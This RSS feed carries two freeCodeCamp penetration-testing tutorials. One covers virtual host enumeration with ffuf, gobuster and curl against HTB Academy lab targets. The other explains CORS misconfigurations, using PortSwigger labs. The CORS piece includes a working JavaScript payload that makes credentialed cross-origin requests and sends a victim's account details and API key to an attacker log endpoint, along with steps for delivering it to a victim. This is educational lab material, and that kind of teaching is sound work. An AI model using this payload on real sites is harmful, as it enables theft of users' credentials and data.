<?xml version="1.0" encoding="UTF-8"?>
<rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/"
    xmlns:atom="http://www.w3.org/2005/Atom" xmlns:media="http://search.yahoo.com/mrss/" version="2.0">
    <channel>
        
        <title>
            <![CDATA[ Nairuz Abulhul - freeCodeCamp.org ]]>
        </title>
        <description>
            <![CDATA[ Browse thousands of programming tutorials written by experts. Learn Web Development, Data Science, DevOps, Security, and get developer career advice. ]]>
        </description>
        <link>https://www.freecodecamp.org/news/</link>
        <image>
            <url>https://cdn.freecodecamp.org/universal/favicons/favicon.png</url>
            <title>
                <![CDATA[ Nairuz Abulhul - freeCodeCamp.org ]]>
            </title>
            <link>https://www.freecodecamp.org/news/</link>
        </image>
        <generator>Eleventy</generator>
        <lastBuildDate>Mon, 18 May 2026 10:46:58 +0000</lastBuildDate>
        <atom:link href="https://www.freecodecamp.org/news/author/Zink0x00/rss.xml" rel="self" type="application/rss+xml" />
        <ttl>60</ttl>
        
            <item>
                <title>
                    <![CDATA[ Virtual Host Enumeration – How to Uncover Hidden Web Assets ]]>
                </title>
                <description>
                    <![CDATA[ When performing external penetration testing or bug bounty hunting, security experts explore the targeted system from various angles to collect as much information as possible and identify potential attack vectors. This involves identifying all the a... ]]>
                </description>
                <link>https://www.freecodecamp.org/news/virtual-host-enumeration-tutorial/</link>
                <guid isPermaLink="false">66bb8a50caaeb78feb348930</guid>
                
                    <category>
                        <![CDATA[ penetration testing ]]>
                    </category>
                
                <dc:creator>
                    <![CDATA[ Nairuz Abulhul ]]>
                </dc:creator>
                <pubDate>Wed, 13 Dec 2023 18:48:10 +0000</pubDate>
                <media:content url="https://www.freecodecamp.org/news/content/images/2023/12/nicolas-houdayer-BeRXM0Edn5A-unsplash.jpg" medium="image" />
                <content:encoded>
                    <![CDATA[ <p>When performing external penetration testing or bug bounty hunting, security experts explore the targeted system from various angles to collect as much information as possible and identify potential attack vectors. This involves identifying all the available assets, domains, and subdomains.</p>
<p>During the testing reconnaissance phase, testers spend time on virtual host enumeration, which is the process of  discovering all the virtual hosts associated with a particular IP address or domain. This helps them find hidden or undocumented assets that might be vulnerable or misconfigured. </p>
<p>For example, they might find a virtual host that can be accessed without authentication. This could result in unauthorized access to sensitive data.</p>
<p>In this article, we will discuss different ways to enumerate virtual hosts and gather information from them. We will use the <a target="_blank" href="https://academy.hackthebox.com/">HTB Academy</a> exercise in the <em>“Information Gathering — Web Edition”</em> module to demonstrate the enumeration steps.</p>
<p>Note that this tutorial is for educational purposes only. Don't use this info to do harm – use it for good so you can make your projects more secure.</p>
<h2 id="heading-table-of-contents">Table of Contents</h2>
<ul>
<li><a class="post-section-overview" href="#heading-virtual-hosting-overview">Virtual Hosting Overview</a><br>– <a class="post-section-overview" href="#heading-ip-based-hosting">IP-based Hosting</a><br>– <a class="post-section-overview" href="#heading-name-based-hosting">Name-based Hosting</a></li>
<li><a class="post-section-overview" href="#heading-virtual-hosts-enumeration">Virtual Hosts Enumeration</a><br>– <a class="post-section-overview" href="#heading-ffuf">Ffuf</a><br>– <a class="post-section-overview" href="#heading-gobuster">Gobuster</a><br>– <a class="post-section-overview" href="#heading-curl">Curl</a></li>
<li><a class="post-section-overview" href="#heading-post-enumeration">Post Enumeration</a><br>– <a class="post-section-overview" href="#heading-hakcheckurl">hakcheckurl</a><br>– <a class="post-section-overview" href="#heading-eyewitness">Eyewitness</a></li>
</ul>
<h2 id="heading-pre-requisites">Pre-requisites</h2>
<p>Before we start enumerating virtual hosts, we need to install some tools to help us. Most of these tools run on Linux, such as Ubuntu and Kali Linux:</p>
<ul>
<li>Ffuf</li>
<li>Gobuster</li>
<li>Eyewitness </li>
<li>hakcheckurl</li>
</ul>
<p>If you don't have these installed, I'll cover the steps below.</p>
<h2 id="heading-virtual-hosting-overview">Virtual Hosting Overview</h2>
<p>Virtual hosting is a feature that allows a single web server to host multiple websites and have them appear as if they are hosted on separate, individual servers. This is usually done to reduce resource overhead and running costs.</p>
<p>There are two types of virtual hosting: IP-based and Name-based.</p>
<h3 id="heading-ip-based-hosting"><strong>IP-based Hosting</strong></h3>
<p>This type of hosting involves configuring a web server to host multiple websites on a single server. Each hosted site is associated with a unique IP address, which can either be dedicated or shared based on the hosting configuration.</p>
<p>When a user tries to access a website, the server listens for the request, resolves the incoming hostname to its corresponding IP address, and then routes the request to the appropriate website based on that IP address.</p>
<p>Once the server identifies the intended website based on that IP address, it serves the content associated with that website to the user.</p>
<h3 id="heading-name-based-hosting"><strong>Name-based Hosting</strong></h3>
<p>This type of hosting involves configuring a web server to host multiple websites on a single IP address using different domain names. Each hosted website is typically associated with a unique hostname, but multiple hostnames can be related to a single website.</p>
<p>When a user requests to access a website, the server checks the “<strong>Host</strong>” header in the HTTP request to figure out which website the user is trying to reach. Based on the hostname provided in the Host header, the server identifies the specific website and serves the content associated with that website to the user.</p>
<h2 id="heading-virtual-hosts-enumeration">Virtual Hosts Enumeration</h2>
<h3 id="heading-ffuf">Ffuf</h3>
<p>Ffuf is a tool written in Go that can be installed on Kali Linux by running <code>sudo apt-get install ffuf</code> or <a target="_blank" href="https://github.com/ffuf/ffuf">downloaded from GitHub</a><em>.</em> This tool allows you to customize your fuzzing approaches.</p>
<p>To start searching for virtual hosts, we need to pass the IP address of the target using the <code>-u</code> flag and the associated domain name with the <code>-H</code> flag, which refers to the Host header.</p>
<p>Then, place the word FUZZ at the beginning of the domain to indicate the fuzzing position.</p>
<p>We can use different wordlists to identify virtual hosts with the <code>-w</code> flag. One popular wordlist is the <a target="_blank" href="https://github.com/danielmiessler/SecLists/blob/master/Discovery/DNS/namelist.txt">namelist</a> list in the Seclists wordlists, while another is the <a target="_blank" href="https://wordlists.assetnote.io/">Kiterunner</a> wordlist in Assetnotes. </p>
<pre><code class="lang-bash">ffuf -w namelist.txt -u http://10.129.184.109 -H <span class="hljs-string">"HOST: FUZZ.inlanefreight.htb"</span>.
</code></pre>
<p>Fuzzing can generate numerous results that sometimes are hard to identify as valid or invalid. Filtering down the results can save you time sifting through the output. </p>
<p>You can filter one response size or a list of sizes using commas to separate them with the <code>-fs</code> flag — like <code>-fs 109, 208,</code>, and so on.</p>
<pre><code class="lang-bash">fuf -w namelist.txt -u http://10.129.184.109 -H <span class="hljs-string">"HOST: FUZZ.inlanefreight.htb"</span> -fs 10918
</code></pre>
<p><img src="https://miro.medium.com/v2/resize:fit:770/1*LPtY56sezItdqxJjkmy7BQ.png" alt="Figure 01 — Shows Ffuf finding virtual hosts with the provided wordlists. r3d-buck3t.com" width="770" height="564" loading="lazy">
<em>Figure 01 — Shows Ffuf finding virtual hosts with the provided wordlists.</em></p>
<p>After the fuzzing is complete, we save the output to a file. Then, we can use the <code>grep</code> utility to search the result for lines that contain the word “FUZZ” in the text. Below is an example of using grep to find the lines with the identified subdomains.</p>
<pre><code class="lang-bash">cat vhosts | grep 

FUZZFUZZ:ap
FUZZ:app
FUZZ:citrix
</code></pre>
<p>Then, we can pipe the grep output with the <code>awk</code> utility to extract only the identified subdomains using the print command, followed by a dollar sign and the column number. This entire command can be written in one line.</p>
<pre><code class="lang-bash">cat vhosts | grep FUZZ | awk <span class="hljs-string">'{print $3}'</span>
</code></pre>
<p>Using a short bash script, we append our original domain name to the identified subdomains, as seen in Figure 02.</p>
<pre><code class="lang-bash"><span class="hljs-keyword">for</span> i <span class="hljs-keyword">in</span> $(cat vhost1); <span class="hljs-keyword">do</span> <span class="hljs-built_in">echo</span> <span class="hljs-variable">$i</span>.inlanefreight.htb ; <span class="hljs-keyword">done</span> &gt; vhost1
</code></pre>
<p><img src="https://miro.medium.com/v2/resize:fit:770/1*eTXWrUXGmHSwxhSw-kOW1w.png" alt="Figure 02 — Shows bash output used to append the domain name to subdomains. r3d-buck3t.com" width="770" height="269" loading="lazy">
<em>Figure 02 — Shows bash output used to append the domain name to subdomains.</em></p>
<h3 id="heading-gobuster">Gobuster</h3>
<p>Another way to enumerate virtual hosts is with the Gobuster tool using the vhost option. The tool can be installed in Kali by running <code>sudo apt-get install gobuster</code> or <a target="_blank" href="https://github.com/OJ/gobuster">downloaded from GitHub</a>.</p>
<p>To begin the enumeration process, we first need to provide the IP address using the <code>-u</code> flag and specify a wordlist with the <code>-w</code> flag. After that, we define the domain name and the position where the fuzzing starts.</p>
<p>In Gobuster, we define this information in a text file, called a pattern file, that gets passed with the <code>-p</code> flag. You can see an example of a pattern file in Figure 03 below. </p>
<pre><code class="lang-bash">{GOBUSTER}.inlanefreight.htb
</code></pre>
<p><img src="https://miro.medium.com/v2/resize:fit:770/1*Lyysphn9mPs0YZtiKlcmzQ.png" alt="Figure 03 shows the pattern file that specifies where to start fuzzing with Gobuster. r3d-buck3t.com" width="770" height="175" loading="lazy">
<em>Figure 03 shows the pattern file that specifies where to start fuzzing with Gobuster.</em></p>
<p>For filtering the output, we use the <code>--exclude-length</code> flag to sift through the response sizes. Multiple response sizes can be separated by commas. </p>
<pre><code class="lang-bash">gobuster vhost -u http://10.129.118.153 -w namelist.txt -p pattern --exclude-length 301 -t 10
</code></pre>
<p><img src="https://miro.medium.com/v2/resize:fit:770/1*uRxbEAEqMPflKomUCVnAeA.png" alt="Figure 04 — Shows using Gobuster to enumerate virtual hosts. r3d-buck3t.com" width="770" height="340" loading="lazy">
<em>Figure 04 — Shows using Gobuster to enumerate virtual hosts.</em></p>
<h3 id="heading-curl">Curl</h3>
<p>We can achieve the same thing with Curl and some bash scripting. The script below reads the content of the <em>namelist</em> file, which serves as our wordlist, and prints the message “Found Subdomain” for each subdomain it reads from the file. </p>
<pre><code class="lang-bash">cat namelist.txt | <span class="hljs-keyword">while</span> <span class="hljs-built_in">read</span> vhost; <span class="hljs-keyword">do</span> <span class="hljs-built_in">echo</span> <span class="hljs-string">"\n========\nFound Subdomain: <span class="hljs-variable">${vhost}</span>\n========="</span>;
</code></pre>
<p>Then, the curl command makes HTTP HEAD requests to the specified IP address (http://10.129.141.252), passing the subdomains from the wordlist in the Host header.</p>
<p>The output is piped to grep to extract the <code>Content-length</code> of the responses and save it in a file. </p>
<pre><code class="lang-bash">curl -s -I http://10.129.141.252 -H <span class="hljs-string">"HOST: <span class="hljs-variable">${vhost}</span>.inlanefreight.htb"</span> | grep <span class="hljs-string">"Content-Length: "</span>; <span class="hljs-keyword">done</span> &gt; output
</code></pre>
<p><img src="https://miro.medium.com/v2/resize:fit:770/1*pKffK46ZlDRdXHKcNr53jA.png" alt="Figure 05 — shows identifying subdomains with Curl. r3d-buck3t.com" width="770" height="256" loading="lazy">
<em>Figure 05 — shows identifying subdomains with Curl.</em></p>
<p>To search the output, we utilize the grep command again and filter for the lines that contain the text <code>“Content-Length:”</code>. Then, we use the <code>uniq</code> command to remove any duplicate lines in a text file, and the <code>-c</code> flag to count the number of times each unique line occurs.</p>
<pre><code class="lang-bash">cat output | grep <span class="hljs-string">"Content-Length:"</span> | uniq -c
</code></pre>
<p><img src="https://miro.medium.com/v2/resize:fit:770/1*sMo_nLdQxbFCjcarkn8TpA.png" alt="Figure 06 — shows how to use the grep and uniq commands to clean up the Curl output. r3d-buck3t.com" width="770" height="214" loading="lazy">
<em>Figure 06 — shows how to use the grep and uniq commands to clean up the Curl output.</em></p>
<p>If we want to extract subdomains from the content, we can use the <code>-B</code> flag to display a few lines before the match. In this command, we used 4 lines to retrieve the subdomain names.</p>
<pre><code class="lang-bash">cat output | grep -B 4 <span class="hljs-string">"Content-Length: 103"</span>
</code></pre>
<p><img src="https://miro.medium.com/v2/resize:fit:770/1*FIJCDeJakS_7BDHqOBMNsQ.png" alt="Figure 07 — shows the extracted subdomains with the grep command and the -B flag. r3d-buck3t.com" width="770" height="153" loading="lazy">
<em>Figure 07 — shows the extracted subdomains with the grep command and the -B flag.</em></p>
<h2 id="heading-post-enumeration">Post Enumeration</h2>
<p>After identifying the virtual hosts, we append HTTP or HTTPS to generate a list of URLs. We can use a one-liner bash script to do that.</p>
<pre><code class="lang-bash"><span class="hljs-keyword">for</span> i <span class="hljs-keyword">in</span> $(cat vhost2); <span class="hljs-keyword">do</span> <span class="hljs-built_in">echo</span> <span class="hljs-string">"https://"</span><span class="hljs-variable">$i</span>; <span class="hljs-keyword">done</span> &gt; vhosts3
</code></pre>
<p><img src="https://miro.medium.com/v2/resize:fit:770/1*drVIRyWTRBRHxciofAxEgg.png" alt="Figure 08-shows the use of a bash script to append HTTP/s to the list of identified subdomains. r3d-buck3t.com" width="770" height="294" loading="lazy">
<em>Figure 08—shows the use of a bash script to append HTTP/s to the list of identified subdomains.</em></p>
<p>This list can then be used with other tools like hakcheckurl or Eyewitness to retrieve the HTTP response codes to check for available web pages and capture screenshots.</p>
<h3 id="heading-hakcheckurl">hakcheckurl</h3>
<p>hakcheckurl is a tool written in Go by hakluke and is <a target="_blank" href="https://github.com/hakluke/hakcheckurl">available on GitHub here</a>. The tool takes a list of URLs and returns their corresponding HTTP response codes.</p>
<p>To run the tool, you'll need to have Go installed. <a target="_blank" href="https://go.dev/doc/install">Follow the steps on Go's official site</a> for installing it on a Linux environment.</p>
<p>After installation, clone the hakcheckurl repository, build the tool with <code>go build</code>, and rename it to hakcheckurl.</p>
<pre><code class="lang-bash">git <span class="hljs-built_in">clone</span> https://github.com/hakluke/hakcheckurl.git

go build ./main.go

<span class="hljs-comment"># rename the tool to hakcheckurl instead of main</span>
mv main hakcheckurl
</code></pre>
<p><img src="https://miro.medium.com/v2/resize:fit:770/1*Mk8hTSH-K8jY0hun1us51Q.png" alt="Figure 09 — shows the hakcheckurl tool after running the build command. r3dbuck3t.com" width="770" height="339" loading="lazy">
<em>Figure 09 — shows the hakcheckurl tool after running the build command.</em></p>
<p>Next, we use the hakcheckurl tool to determine the HTTP response codes for each URL. In the below results, you can see that the URLs that used the HTTPS protocol were unreachable, while those that used the HTTP protocol returned 200 response codes. This indicates that the web pages using HTTP are up and running.</p>
<pre><code class="lang-bash">cat vhosts | ./hakcheckurl
</code></pre>
<p><img src="https://miro.medium.com/v2/resize:fit:770/1*U_8wcxNez5sJvQ1mSteGEg.png" alt="Figure 10 — shows the output of the hakcheckurl tool. r3d-buck3t.com" width="770" height="208" loading="lazy">
<em>Figure 10 — shows the output of the hakcheckurl tool.</em></p>
<h3 id="heading-eyewitness">Eyewitness</h3>
<p>Once we have identified the web pages that we want to inspect, we can use Eyewitness to gather more information about the underlying infrastructure and the technologies associated with the targeted websites.</p>
<p>Eyewitness is a tool created by RedSiege that can capture screenshots, retrieve header information, and identify default credentials, if any are known. We can install it on Kali with <code>sudo apt-get install eyewitness</code> or <a target="_blank" href="https://github.com/RedSiege/EyeWitness">download it from GitHub</a>.</p>
<p>To run Eyewitness, we need to pass the list of URLs using the <code>-f</code> flag. Then, we can set a custom User-Agent string for the HTTP requests with the <code>--user-agent</code> flag. This can be useful for simulating requests from different browsers or client applications.</p>
<p>We can also, specify additional ports to check with the http and https protocol using the <code>--add-http-ports</code> and <code>--add-https-ports</code> flag. This instructs Eyewitness to connect to these ports and capture screenshots, if applicable.</p>
<pre><code class="lang-bash">eyewitness -f vhost2 --user-agent <span class="hljs-string">"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2526.111 Safari/537.36"</span> --add-http-ports 8080,8000,8088 --add-https-ports 8443,4433,4343
</code></pre>
<p><img src="https://miro.medium.com/v2/resize:fit:770/1*aw02AfYuaXLnfjVvUrcsuQ.png" alt="Figure 11 -shows Eyewitness running against a list of provided URLs. r3d-buck3t.com" width="770" height="298" loading="lazy">
<em>Figure 11 —shows Eyewitness running against a list of provided URLs.</em></p>
<p>After it runs, we get prompted to choose whether or not to open the report that has been created. If you select ‘Y’, the default web browser will open the report. If you choose ‘N’, the report will be saved to your local device.</p>
<p><img src="https://miro.medium.com/v2/resize:fit:770/1*OxbNyxkTlmIboWAvqaMn2g.png" alt="Image" width="770" height="512" loading="lazy">
<em>Figure 12 — shows the Eyewitness generated HTML report.</em></p>
<h2 id="heading-wrapping-up">Wrapping Up</h2>
<p>With that we have reached the end of today’s tutorial. Throughout the article, you have discovered and explored various tools to enumerate virtual hosts. We also discussed how to use the results from these tools to expand the attack surface and gain valuable insights into the target’s infrastructure.</p>
<p>Thank you for taking the time to read this post. I also created a cheatsheet for you on <a target="_blank" href="https://r3dbuck3t.notion.site/Virtual-Hosts-c20c70e7751441b4acdb71ec07693cc2?pvs=4">Notion</a> that lists all the commands we used in this post.</p>
<h3 id="heading-resources">Resources</h3>
<ul>
<li><a target="_blank" href="https://academy.hackthebox.com/course/preview/information-gathering---web-edition">Information Gathering — Web Edition — HTB Academy</a></li>
<li><a target="_blank" href="https://linuxconfig.org/apache-ip-and-name-based-virtual-hosts-explained">Apache IP and Name Based Virtual Hosts Explained</a></li>
<li><a target="_blank" href="https://wordlists.assetnote.io/">Assetnote Wordlists</a></li>
<li><a target="_blank" href="https://github.com/danielmiessler/SecLists">SecLists Wordlists</a></li>
</ul>
 ]]>
                </content:encoded>
            </item>
        
            <item>
                <title>
                    <![CDATA[ Exploiting CORS – How to Pentest Cross-Origin Resource Sharing Vulnerabilities ]]>
                </title>
                <description>
                    <![CDATA[ All web browsers implement a security model known as the Same-Origin Policy (SOP). It restricts domains from accessing and retrieving data from other domains’ resources.  The SOP policy helps protect users from malicious scripts that could access the... ]]>
                </description>
                <link>https://www.freecodecamp.org/news/exploiting-cors-guide-to-pentesting/</link>
                <guid isPermaLink="false">66bb8a4ac332a9c775d15b5f</guid>
                
                    <category>
                        <![CDATA[ Application Security ]]>
                    </category>
                
                    <category>
                        <![CDATA[ CORS ]]>
                    </category>
                
                    <category>
                        <![CDATA[ penetration testing ]]>
                    </category>
                
                <dc:creator>
                    <![CDATA[ Nairuz Abulhul ]]>
                </dc:creator>
                <pubDate>Thu, 09 Mar 2023 16:25:31 +0000</pubDate>
                <media:content url="https://www.freecodecamp.org/news/content/images/2023/03/possessed-photography-_E1PQXKUkMw-unsplash--4-.jpg" medium="image" />
                <content:encoded>
                    <![CDATA[ <p>All web browsers implement a security model known as the <strong>Same-Origin Policy (SOP)</strong>. It restricts domains from accessing and retrieving data from other domains’ resources. </p>
<p>The SOP policy helps protect users from malicious scripts that could access their sensitive data or perform unauthorized actions on their behalf.</p>
<p>For example, if <code>**business.com**</code> tries to make an HTTP request to <code>**metrics.com**</code>, the browser, by default, will block the request because it comes from a different domain.</p>
<p>As much as the SOP sounds like a proper protection policy, it doesn’t scale well in today’s technologies that depend on each other for operation. For example, it presents challenges to APIs and microservices which have legitimate use cases for accessing and sharing information between domains.</p>
<p>Because of cases like this, there was a need for a new security mechanism that would allow for cross-domain interactions. It's known as <strong>Cross-Origin Resource Sharing (CORS)</strong>.</p>
<p>This article will cover the basics of how CORS works and identify common vulnerabilities that can occur when you don't implement CORS correctly. We will also learn how to test and exploit the misconfigurations so that by the end of this guide, you will have a better understanding of how to test and validate for CORS during a pentest assessment.</p>
<p>I will use the Port Swigger CORS labs to demonstrate the testing and exploitation steps.</p>
<h2 id="heading-table-of-contents">Table of Contents</h2>
<ul>
<li><a class="post-section-overview" href="#heading-what-is-cross-site-origin-policy-cors">What is Cross-Site Origin Policy (CORS)?</a></li>
<li><a class="post-section-overview" href="#heading-impact-of-cors-misconfigurations">Impact of CORS Misconfigurations</a></li>
<li><a class="post-section-overview" href="#heading-how-to-identify-cors">How to Identify CORS</a></li>
<li><a class="post-section-overview" href="#heading-exploitable-cors-cases">Exploitable Cases</a></li>
<li><a class="post-section-overview" href="#heading-unexploitable-case-wild-card">Unexploitable Case</a></li>
<li><a class="post-section-overview" href="#heading-mitigations">Mitigations</a></li>
<li><a class="post-section-overview" href="#heading-resources">Resources</a></li>
</ul>
<h2 id="heading-what-is-cross-site-origin-policy-cors">What is Cross-Site Origin Policy (CORS)?</h2>
<p><strong>CORS</strong> is a security feature created to selectively relax the SOP restrictions and enable controlled access to resources from different domains. CORS rules allow domains to specify which domains can request information from them by adding specific HTTP headers in the response.</p>
<p>There are several HTTP headers related to CORS, but we are interested in the two related to the commonly seen vulnerabilities — <code>**Access-Control-Allow-Origin**</code> and <code>**Access-Control-Allow-Credentials**</code><strong>.</strong></p>
<p><strong>Access-Control-Allow-Origin:</strong> This header specifies the allowed domains to read the response contents. The value can be either a wildcard character <code>**(*)**</code>, which indicates all domains are allowed, or a comma-separated list of domains.</p>
<pre><code>#All domain are allowed
Access-Control-Allow-Origin: *   


#comma-separated list <span class="hljs-keyword">of</span> domains
Access-Control-Allow-Origin: example.com, metrics.com
</code></pre><p><strong>Access-Control-Allow-Credentials</strong>: This header determines whether the domain allows for passing credentials — such as cookies or authorization headers in the cross-origin requests.</p>
<p>The value of the header is either True or False. If the header is set to “true,” the domain allows sending credentials. If it is set to “false,” or not included in the response, then it is not allowed.</p>
<pre><code>#allow passing credenitals <span class="hljs-keyword">in</span> the requests
Access-Control-Allow-Credentials: <span class="hljs-literal">true</span>

#Disallow passing <span class="hljs-keyword">in</span> the requests
Access-Control-Allow-Credentials: <span class="hljs-literal">false</span>
</code></pre><h2 id="heading-impact-of-cors-misconfigurations">Impact of CORS Misconfigurations</h2>
<p>CORS misconfigurations can have a significant impact on the security of web applications. Below are the main implications:</p>
<ul>
<li><strong>Data Theft:</strong> Attackers can use CORS vulnerabilities to steal sensitive data from applications like API keys, SSH keys, Personal identifiable information (PII), or users’ credentials.</li>
<li><strong>Cross-Site Scripting (XSS)</strong>: Attackers can use CORS vulnerabilities to perform XSS attacks by injecting malicious scripts into web pages to steal session tokens or perform unauthorized actions on behalf of the user.</li>
<li><strong>Remote Code Execution</strong> in some cases (<a target="_blank" href="https://quitten.github.io/StackStorm/">StackStorm case</a>)</li>
</ul>
<h2 id="heading-how-to-identify-cors">How to Identify CORS</h2>
<p>When testing an application for CORS, we check if any of the application’s responses contain the CORS headers. We can use the search functionality in Burp Suite to search for the headers quickly.</p>
<p>In the example below, I searched for the <code>**Access-Control-Allow-Credentials**</code> header and got three (3) responses back. Once the headers are identified, we can select the requests and send them to Repeater for further analysis.</p>
<p><img src="https://miro.medium.com/v2/resize:fit:1678/1*73ksv0ZrBWRf8dQZ7TliOg.png" alt="Image" width="1017" height="695" loading="lazy"></p>
<p><img src="https://miro.medium.com/v2/resize:fit:1574/1*FVD7mLNMgvsdWa5XVV9MSA.png" alt="Image" width="954" height="704" loading="lazy">
<em>Figures 1 &amp; 2 show the search functionality in Burp Suite to look for CORS headers.</em></p>
<p>To identify CORS issues, we can modify the Origin header in the requests with multiple values and see what response headers we get back from the application. There are four (4) known ways to do this, which we'll go over now.</p>
<h3 id="heading-1-reflected-origins">1. Reflected Origins</h3>
<p>Set the Origin header in the request to an arbitrary domain, such as <code>[**https://attackersdomain.com**](https://attackersdomain.com./)</code>, and check the <code>**Access-Control-Allow-Origin**</code> header in the response. If it reflects the exact domain you supplied in the request, it means the domain doesn’t filter for any origins.</p>
<p>The risk of this misconfiguration is high if the domain allows for credentials to be passed in the requests. We can validate that by checking if the <code>**Access-Control-Allow-Credentials**</code> header is also included in the response and is set to <code>**true**</code>.</p>
<p>However, the risk is low if passing credentials is not allowed, as the browser will not process the responses from authenticated requests.</p>
<p>📌 To exploit reflected origins, check the exploitation section — Case #1.</p>
<p><img src="https://miro.medium.com/v2/resize:fit:1155/1*pKnCmYc30pYH0jyBFhmcDw.png" alt="Figure 3 — shows the value of the Origin header included in the Access-Control-Allow-Origin header. r3dbuck3t #cors #websecurity" width="1049" height="580" loading="lazy">
<em>Figure 3 — shows the value of the Origin header included in the Access-Control-Allow-Origin header.</em></p>
<h3 id="heading-2-modified-origins">2. Modified Origins</h3>
<p>Set the Origin header to a value that matches the targeted domain, but add a prefix or suffix to the domain to check if there is any validation on the beginnings or ends of the domain.</p>
<p>If no checks are in place, we can create a similar matching domain that bypasses the CORS policy on the targeted domain. For example, adding a prefix or suffix to the <code>**metrics.com**</code> domain would be something like <code>**attackmetrics.com**</code> or <code>**metrics.com.attack.com**</code>.</p>
<p>The risk of this misconfiguration is considered high if the domain allows for passing credentials with the <code>**Access-Control-Allow-Credentials**</code> header set to <strong>true</strong>. The attacker can create a similar matching domain and retrieve sensitive information from the targeted domain.</p>
<p>But the risk would be low if authenticated requests were not allowed.</p>
<p>📌To exploit modified origins, check the exploitation section — Case #1.</p>
<h3 id="heading-3-trusted-subdomains-with-insecure-protocol">3. Trusted subdomains with Insecure Protocol.</h3>
<p>Set the Origin header to an existing subdomain and see if it accepts it. If it does, it means the domain trusts all its subdomains. This is not a good idea because if one of the subdomains has a Cross-Site Scripting (XSS) vulnerability, it will allow the attacker to inject a malicious JS payload and perform unauthorized actions.</p>
<p>This misconfiguration is considered high risk if the domain accepts subdomains with an insecure protocol, such as HTTP, and the credential header is set to true. Otherwise, it will not be exploitable and would be only a poor CORS implementation.</p>
<p>📌 To exploit trusted subdomains, check the exploitation section — Case #3.</p>
<p><img src="https://miro.medium.com/v2/resize:fit:1155/1*XDNb4TzErgfuuQzqYUv12w.png" alt="Figure 4 — shows the application accepts arbitrary insecure subdomains. https://medium.com/r3d-buck3t — #cors #websecurity #web" width="1155" height="493" loading="lazy">
<em>Figure 4 — shows the application accepts arbitrary insecure subdomains.</em></p>
<h3 id="heading-4-null-origin">4. Null Origin</h3>
<p>Set the Origin header to the null value — <code>**Origin: null**</code>, and see if the application sets <code>**the Access-Control-Allow-Origin**</code> header to null. If it does, it means that null origins are whitelisted.</p>
<p>The risk level is considered high if the domain allows for authenticated requests with the <code>**Access-Control-Allow-Credentials**</code> header set to <code>**true**</code><strong>.</strong></p>
<p>But if it does not, then the issue is considered low, and not exploitable.</p>
<p>📌 To exploit Null Origins, check the exploitation section- Case #2.</p>
<p><img src="https://miro.medium.com/v2/resize:fit:1155/1*jyqdCfY0J_s0ebH50WrIhA.png" alt="Figure 5 — shows the application accepted the null value and returned it in the response. #pentesting #cors #bugbounty https://medium.com/r3d-buck3t" width="1155" height="657" loading="lazy">
<em>Figure 5 — shows the application accepted the null value and returned it in the response.</em></p>
<h2 id="heading-exploitable-cors-cases">Exploitable CORS Cases</h2>
<p>In this section, we will go over how to exploit the CORS misconfigurations by categorizing them into test cases for easy understanding.</p>
<h3 id="heading-case-1-reflected-origin">Case 1: Reflected Origin</h3>
<p>The application is considered vulnerable when it sets the <strong>Access-Control-Allow-Origin</strong> to the attacker’s supplied domain and enables passing credentials with the <strong>Access-Control-Allow-Credentials</strong> set to true.</p>
<pre><code>Access-Control-Allow-Origin: http:<span class="hljs-comment">//attacker-domain.com</span>
Access-Control-Allow-Credentials: <span class="hljs-literal">true</span>
</code></pre><p><img src="https://miro.medium.com/v2/resize:fit:1155/1*pKnCmYc30pYH0jyBFhmcDw.png" alt="Figure 3 — shows the value of the Origin header included in the Access-Control-Allow-Origin header. r3dbuck3t #cors #websecurity" width="1049" height="580" loading="lazy">
<em>Figure 6 — shows the CORS headers for reflected origin.</em></p>
<p>The exploitation requires the attacker to host the JS script on an external server to be accessible to the user. Then they have to create an HTML page, embed the JS script below, and send it to the user.</p>
<pre><code>&lt;html&gt;
  <span class="xml"><span class="hljs-tag">&lt;<span class="hljs-name">body</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">script</span>&gt;</span>

    #Initialize the XMLHttpRequest object, and the application URL vairable 
        var req = new XMLHttpRequest();
        var url = ("APPLICATION URL");

    #MLHttpRequest object loads, exectutes reqListener() function
      req.onload = retrieveKeys;

    #Make GET request to the application accounDetails location
        req.open('GET', url + "/accountDetails",true);

    #Allow passing credentials with the requests
    req.withCredentials = true;

    #Send the request 
        req.send(null);

    function retrieveKeys() {
            location='/log?key='+this.responseText;
        };

  <span class="hljs-tag">&lt;/<span class="hljs-name">script</span>&gt;</span>
  <span class="hljs-tag">&lt;<span class="hljs-name">body</span>&gt;</span>
<span class="hljs-tag">&lt;/<span class="hljs-name">html</span>&gt;</span></span>
</code></pre><p>Once the user visits your hosted page, it will automatically submit a CORS request to retrieve information about the user from the location specified in the script. Understanding the application structure and where it stores its sensitive information is essential for this step.</p>
<p>The above script starts with initializing the <code>**XMLHttpRequest**</code> (XHR) object to instruct the web browser that we will transfer data to and from a web server using the HTTP protocol. XHR is a browser API that allows client-side scripting languages such as JavaScript to make HTTP requests to a server and receive their responses dynamically without requiring the user to refresh the page.</p>
<p>Then, we instruct the object to execute a function called <strong><code>retrieveKeys</code></strong> that fetches the admin API key and sends the response to us when it loads.</p>
<p>Next, we make a GET request specifying the location from which we want to retrieve information and pass our credentials with the <code>Credentials</code> function set to true.</p>
<p>The request will automatically get blocked and denied if the application server doesn’t allow passing credentials between domains. But we know that this won’t happen here because the <code>**access-Control-Allow-Credentials**</code> is set to true.</p>
<p>To demonstrate how the script works, I’ll use the exploit server PortSwigger has available with the lab to host the above script.</p>
<p>Login into the application, click the <strong>“Go to exploit server,”</strong> and paste the script in the body. Then click on “<strong>Deliver exploit to victim.”</strong> In a real scenario, you need to send the link to the user and try to entice them to click it.</p>
<p><img src="https://miro.medium.com/v2/resize:fit:1505/1*hIfdCKiIogCOquzGVz686w.png" alt="Image" width="912" height="663" loading="lazy"></p>
<p><img src="https://miro.medium.com/v2/resize:fit:1888/1*svwpXxlVZpxpqiRQV8u_hg.png" alt="Image" width="1144" height="628" loading="lazy">
<em>Figures 7 &amp; 8 — show the process of hosting the JS payload and delivering it to the user.</em></p>
<p>After delivering the exploit, click on <strong>“Access log”</strong> and you should be able to see the captured admin’s API key in the logs. Copy the string that has the key and paste into Burp Suite <strong>Decoder</strong> and decode it as a URL to retrieve the cleartext value.</p>
